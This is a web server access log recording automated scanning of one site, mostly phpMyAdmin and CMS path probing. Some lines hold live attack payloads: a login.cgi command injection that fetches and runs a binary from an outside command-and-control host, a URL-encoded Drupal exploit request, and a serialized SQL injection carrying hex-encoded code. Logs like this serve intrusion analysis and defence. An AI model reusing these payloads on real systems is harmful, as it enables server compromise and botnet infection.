103.242.119.217 - - [26/Feb/2020:07:56:41 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
151.41.210.105 - - [26/Feb/2020:07:56:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:07:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.242.119.217 - - [26/Feb/2020:07:57:03 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.242.119.217 - - [26/Feb/2020:07:57:24 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [26/Feb/2020:07:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.242.119.217 - - [26/Feb/2020:07:57:46 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.242.119.217 - - [26/Feb/2020:07:58:08 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.242.119.217 - - [26/Feb/2020:07:58:29 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [26/Feb/2020:07:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.242.119.217 - - [26/Feb/2020:07:58:51 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.242.119.217 - - [26/Feb/2020:07:59:12 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.242.119.217 - - [26/Feb/2020:07:59:12 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.242.119.217 - - [26/Feb/2020:07:59:12 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.242.119.217 - - [26/Feb/2020:07:59:12 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.242.119.217 - - [26/Feb/2020:07:59:12 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
103.242.119.217 - - [26/Feb/2020:07:59:33 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [26/Feb/2020:07:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.242.119.217 - - [26/Feb/2020:07:59:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
103.242.119.217 - - [26/Feb/2020:08:00:16 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
41.75.124.249 - - [26/Feb/2020:08:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.242.119.217 - - [26/Feb/2020:08:00:38 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [26/Feb/2020:08:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.242.119.217 - - [26/Feb/2020:08:00:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
185.173.35.53 - - [26/Feb/2020:08:01:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
103.242.119.217 - - [26/Feb/2020:08:01:21 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
103.242.119.217 - - [26/Feb/2020:08:01:43 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [26/Feb/2020:08:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.242.119.217 - - [26/Feb/2020:08:02:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
103.242.119.217 - - [26/Feb/2020:08:02:26 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [26/Feb/2020:08:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.242.119.217 - - [26/Feb/2020:08:02:48 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
103.242.119.217 - - [26/Feb/2020:08:03:09 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
103.242.119.217 - - [26/Feb/2020:08:03:09 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:10 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:10 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:10 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:10 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:10 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:10 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:10 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:11 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:11 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:11 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:11 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:11 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:11 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:11 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:12 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:12 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:12 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:12 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:12 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:12 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:13 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:13 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:13 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:13 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:13 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:13 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:13 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:14 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:14 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:14 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:14 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:14 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:14 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:15 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:15 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:15 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:15 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:15 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:15 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:15 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:16 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:16 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:16 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:16 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:16 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:16 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:16 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:17 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:17 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:17 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:17 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:17 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:17 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:18 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:18 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:18 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:18 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:18 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:18 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:18 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:19 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:19 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:19 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:19 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:19 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:19 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:19 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:20 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:20 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:20 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:20 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:20 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:20 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:21 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:21 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:21 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:21 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:21 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:21 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:21 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:22 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:22 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:22 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:22 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:22 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:22 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:23 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:23 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:23 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:23 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:23 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:23 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
